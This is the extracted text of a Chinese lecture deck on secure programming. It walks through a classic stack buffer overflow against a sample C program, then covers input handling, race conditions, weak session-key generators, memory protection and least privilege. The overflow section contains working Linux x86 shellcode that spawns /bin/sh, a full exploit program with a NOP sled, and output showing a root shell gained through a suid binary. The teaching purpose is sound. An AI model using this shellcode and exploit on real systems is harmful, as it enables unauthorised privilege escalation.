【文档说明】李凤华--计算机安全与保密技术--第十章.pptx,共(66)页,258.199 KB,由精品优选上传
转载请保留链接:https://www.ichengzhen.cn/view-289042.html
以下为本文档部分文字说明:
网络安全第十讲安全程序设计本讲内容10.1现实中的一些安全问题10.2从几个程序谈起10.3程序失败的其它例子10.1现实中的一些安全问题我的口令就是我的用户名后加上123我的口令是Q47pY!3,每隔90天就更换一次强而有效的不可破解的加密技术随处均可得到(
尽管有各种各样的进出口限制)不攻击加密技术,攻击其应用的底层基础设施不攻击加密技术,攻击其实现不攻击加密技术,而从用户方面入手WhySecurityisHarderthanitLooks所有软件都是有错的通常情况下99.99%无错的程
序很少会出问题同安全相关的99.99%无错的程序可以确信会被人利用那0.01%的错误0.01%安全问题等于100%的失败10.2从几个程序谈起程序运行平台➢RedhatLinux6.1➢Kernel2.2.13➢egcs-2.91.6610.2.1第一个程序#includ
e<stdio.h>#include<string.h>voidSayHello(char*name){chartmpName[80];strcpy(tmpName,name);/*DosomechecksfortmpName.*/printf("H
ello%s\n",tmpName);}intmain(intargc,char**argv){if(argc!=2){printf("Usage:hello<name>.\n");return1;}SayHello(argv[1]);return0;}hello.c运行情况
$./hellocomputerHellocomputer$./helloaaaa………………………………………………………….aHelloaaaa……………………………………………………………….aSegmentation
fault(coredumped)hello.cWhy????检查一下程序#include<stdio.h>#include<string.h>voidSayHello(char*name){chartmpName[80];strcp
y(tmpName,name);/*DosomechecksfortmpName.*/printf("Hello%s\n",tmpName);}intmain(intargc,char**argv){if(argc!=2){printf("Usage:hello<name>
.\n");return1;}SayHello(argv[1]);return0;}hello.c进一步思考……发生了什么事?几个要点Linux及其它几乎所有Intelx86系统、Solaris,et
c分页式存储管理平面内存结构,4GB或更大逻辑地址空间栈从下往上生长C语言不进行边界检查进程内存布局代码区数据区堆栈段字符串向下生长栈段向上生长0x000000000xFFFFFFFF调用SayHello之前的栈main函数局部变量区
lastfpretipargcargvenv…...ESPmain栈帧进入SayHello后的栈tmpName[80]main-fpretipnamemain栈帧…...ESPSayHello栈帧准备退出SayHello的
栈(情况1)computer.…………..main-fpretipnamemain栈帧…...ESPSayHello栈帧main中return0;./hellocomputer准备退出SayHello的栈(情况2)aaaaaaaaaaaaaaaaaa……aaaaaaaa0x
616161610x616161610x61616161main栈帧…...ESPSayHello栈帧retip???????./helloaaaaaa……………………………….a如果精心选择数据……...?????
??????????????………..????0x????????0xNNNNNNNN0x????????………...………...Our-CodesESPSayHello栈帧retip0xNNNNNNNN如何选择这些数据?几个问题:➢Say
Hello函数局部变量区大小?➢NNNNNNNN如何确定?➢Ourcodes该怎样写➢输入缓冲区不能包含0局部变量区问题???????????????????………..????0x????????0xNNNNNNNN0x????????………...……
…...Our-CodesESPSayHello栈帧retip0xNNNNNNNN局部变量区问题0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesESPSayHello栈帧ret
ip0xNNNNNNNN代码起始地址如何确定?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNNOur-CodesES
PSayHello栈帧retip0xNNNNNNNN<4K代码起始地址如何确定问题已转化为用ESP加上某一偏移➢该偏移不需要精确为什么偏移不需要精确?0xNNNNNNNN………..NNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN0xNNNNNNNN…
…….NNNNNNOPNOP……..NOPReal-CodesESPSayHello栈帧retip0xNNNNNNNN代码起始地址如何确定问题已转化为用ESP加上某一偏移➢该偏移不需要精确ESP如何确定呢➢用同样选项,插入一段代码,重新编
译➢使用调试工具跟踪应用程序➢编一小程序,打印出运行时栈顶位置在同样环境下,不同进程之间栈位置距离不会太远植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax
,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllab
el1cmd:db“/bin/sh”,0植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi
+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi==cmd植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,
eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/
bin/sh”,0esi+8:cmdesi==cmd植入代码如何编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eax
moval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd植入代码如何
编写jmplabel2label1:popesimov[esi+8],esixoreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmovea
x,ebxinceaxint80hlabel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd运行程序路径exec植入代码如何编写jmplabel2label1:popesimov[esi+8],esix
oreax,eaxmov[esi+7],almov[esi+12],eaxmoval,0bhmovebx,esileaecx,[esi+8]leaedx,[esi+12]int80hxorebx,ebxmoveax,ebxinceaxint80hl
abel2:calllabel1cmd:db“/bin/sh”,0esi+8:cmd,0esi==cmd_exit植入代码二进制格式charshell_code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x
88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh"植入代码自测试程序
(1)#include<string.h>unsignedcharshell_code[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x5
6\x0c”“\xcd\x80\x31\xdb\x89\xd8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/ls";charlarge_string[128];main(){charbuffer[96];
inti;test1.c植入代码自测试程序(2)long*long_ptr=(long*)large_string;for(i=0;i<32;i++)long_ptr[i]=(long)buffer;for(i=0;i<strlen(shell_code);i++)large_
string[i]=shell_code[i];strcpy(buffer,large_string);printf("IseverythingOK?:-)\n");}test1.c植入代码自测试程序(3)$./test1IseverythingOK?
:-)hellohello.ctest1test1.ctest1.c完整的攻击hello的程序(1)#include<string.h>#include<stdlib.h>#include<unistd.h>unsignedcharshell_code[]="\xeb\x1f\x5e\x
89\x76\x08\x31\xc0”“\x88\x46\x07\x89\x46\x0c\xb0\x0b""\x89\xf3\x8d\x4e\x08\x8d\x56\x0c”“\xcd\x80\x31\xdb\x89\x
d8\x40\xcd""\x80\xe8\xdc\xff\xff\xff/bin/sh";#defineDEFAULT_OFFSET0#defineBUFFER_SIZE1024test2.c完整的攻击hello的程序(2)unsignedlongget_esp(){__asm__("movl%
esp,%eax");}main(intargc,char**argv){char*buff;char*ptr;unsignedlong*addr_ptr;unsignedlongesp;inti,ofs;test2.c
完整的攻击hello的程序(3)if(argc==1)ofs=DEFAULT_OFFSET;elseofs=atoi(argv[1]);ptr=buff=malloc(4096);/*Fillinwithaddresses*/addr_ptr=(uns
ignedlong*)ptr;esp=get_esp();printf("ESP=%08x\n",esp);for(i=0;i<100;i++)*(addr_ptr++)=esp+ofs;test2.c完整的攻击he
llo的程序(4)/*FillthestartofshellbufferwithNOPs*/ptr=(char*)addr_ptr;memset(ptr,'A',BUFFER_SIZE-strlen(shell_code));ptr+=BUFF
ER_SIZE-strlen(shell_code);/*Andthentheshellcode*/memcpy(ptr,shell_code,strlen(shell_code));ptr+=strlen(shell_code);*ptr=0;printf("Iseverythin
gOK?:-)\n");execl("./hello","hello",buff,NULL);}test2.c完整的攻击hello的程序(5)<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:
-)Hello<一堆乱码>/bin/shbash$_test2.c得出的结论一个程序当没有很好地检查边界条件时可能会受到缓冲区溢出攻击有缓冲区溢出漏洞的程序当它能以特权用户身份运行时,可能让普通用户无需经过认证就可以获得系统特权10.2.2rootexploitRe
moterootexploit➢通过网络,不需认证即可获得root权限Localrootexploit➢本地普通用户,利用系统程序的漏洞获得root权限哪些程序将以特权用户身份运行网络服务程序➢HTTPServer、FTPServer、MailServer,etcsyslogTroji
an木马程序suid/sgid程序suid/sgid程序Unix一项特殊技术,使普通用户也能做只有超级用户才能执行的任务➢passwd、at、crontab、ping普通rwx之上加上s位,kernel在载入进程映象时自动将进
程有效用户/组标识置为映象文件文件属主/组例:➢ls-l/usr/bin/passwd➢-r-s--x--x1root/usr/bin/passwd10.2.3还是攻击hello的例子<tly:~/tttt/tt>$subash#chownroo
t:roothellobash#chmodu+shello;exit<tly:~/tttt/tt>$./test2ESP=bffffcd0IseverythingOK?:-)Hello<一堆乱码>/bin/shbash#bash#whoamiroo
tbash#_近几年出现过的bufferoverflows10.2.4怎么解决?更为小心的程序设计➢将安全相关的功能隔离到仔细检查的代码内让栈不可运行➢会导致若干技术难题基于编译器的方法➢在代码内自动增加边界检查(verys
low)➢运行过程中进行栈完整性检查(slightslowdown)➢重新排列栈变量(noslowdown)10.3程序失败的其它例子传递参数到其它进程其它类型输入Racecondition会话密钥的生成内存数据保护最小特权传参数给其它进程的几种类型
UnixshellscriptsCGI/Perlscripts很复杂的应用➢sendmail其它类型➢TCPWrapper➢inetd1.其它类型输入(1)IIS3.0以前➢GET../../W
indows奇怪的目录名解析C:\TEMP\t1\t2\t3\t4\t5\t6>cd…….C:\TEMP>_其它类型输入(2)子进程从父进程继承的内容➢进程身份uid、gid、euid、egid可能被跟踪、发信号改变其运行状态➢打开文件描述符➢环境变量IF
S、LD_PRELOAD➢文件创建模式掩码其它类型输入(3)子进程从父进程继承的内容(续)➢当前目录和根目录➢资源极限➢调度优先级可能被用于下面将要谈到的racecondition攻击➢内部时钟➢信号处理处理函数被重置但被阻塞信号仍被阻塞,被忽略信号仍被忽略如何正
确处理输入(1)原则:不要相信任何来自不可信信息源的消息字符串操作类函数➢不要使用strcpy、strcat、sprintf换用strncpy、strncat、snprintf➢不要使用gets、scanf换用read
、fgets➢小心getenv,可能被用于缓冲区溢出如何正确处理输入(2)字符串操作类函数(续)➢小心gethostbyname、gethostbyaddr某些DNS可能返回恶意地址如果可能,应该做双向查询运行新进程➢system、popen、ex
ec将产生新shell,可能做系统不希望它做的事➢换用execl或execv,对传递数据作严格一致性检查(sanitycheck)如何正确处理输入(3)命令行检查➢程序中应仔细检查每一参数尤其是以很高特权运行的程序数据检查➢正确的方法:
只允许可以确信没有问题的数据通过,如字母、数字、点及一些符号➢错误的方法:除已知会出问题的数据外都允许通过。可能会有漏网之鱼例:随早期Apachewebserver的php.cgi就忘了过滤回车符2.RaceCondition多任务环境下,利用进程运行的
异步性,抢占或改变进程使用资源判断资源性质与真正使用该资源之间有一个时间差,在这段时间内进程很可能运行完时间片被调度出去,此时其它进程可能改变该资源性质。RaceCondition例目的:➢创建并打开临时文件➢保证只有当
前进程能打开该文件3.会话密钥的生成生成会话密钥需要大量不可预测的随机数➢在PC上生成随机数非常困难➢大多数人的动作行为是不可预测的➢用户输入可能是不可预测的,但对独立服务器来说很难利用通常情况下实现由应用开发者处理➢但开发者的实现大多有误一些有问题
的随机数生成器Netscape(原)a=mixbits(time.tv_usec);b=mixbits(getpid()+time.tv_sec+(getppid()<<12);seed=MD5(a,b);nonce=MD5(seed++);
key=MD5(seed++);一些有问题的随机数生成器(续)KerberosV4MIT_MAGIC_COOKIEsrandom(time.tv_usec^time.tv_sec^getpid()^gethostid()^counte
r++);key=random();for(i=0;i<len;i++){value=rand();auth[I]=value&0xff;}生成器类型随机数生成器包括两个部分➢轮循机制:用于收集随机数据➢伪随
机数生成器(PRNG):展开输出分类➢物理源:各种硬件实现➢物理源+后续处理:SG100➢多源轮循:SKIP➢单源轮循:PGP2.x,PGP5.x➢Secretnonce+PRNG:应用密码学、BSAF
E➢Secretfixedvalue+PRNG:ANSIX9.17生成器例-ANSIX9.17关键在于三次DES加密算法和加密密钥随机性来源进程及线程信息鼠标、键盘活动内存及磁盘使用统计系统时钟网络统计与GUI相关信息通常需要在后台周期性轮循随机
源,同时估计随机性,当发现不够随机时,应采取相应措施4.存储保护敏感数据通常都保存在内存中,但➢RAM数据随时可能被换到磁盘上你可能会在Windows交换文件中发现你加密口令的多个拷贝“Suspendtodisk”使这一问题更加麻烦➢其它进程可能从内存中读取数据➢电源掉电后,RAM
内容还有可能恢复文件的安全删除保护内存(1)锁住敏感内存区:并不容易➢Unix:mlock(),只能由超级用户使用➢Win95/98:提供VirtualLock(),但不起作用➢WinNT:提供VirtualLock(),但非强
制(数据仍可能被换出)扫描内存,查找数据➢VirtualQueryEx()➢VirtualUnprotectEx()➢ReadProcessMemory()保护内存(2)使用内存映射文件自己创建交换文件➢内
存即使被交换出去也是交换到已知文件上,而不是由系统自动处理➢用完后文件即可删除问题➢真正彻底删除磁盘数据是不可能的➢当系统崩溃或掉电后数据不会自动清除保护内存(3)使数据总保持在内存中➢用一后台线程定时访问该数据不按页分配内存➢需要Kernel支持➢很难将内存从kernel空间映射到use
r空间5.最小特权原则程序应该按照它能做事的最小特权运行将任务分解成若干部分,每一部分都按最小特权运行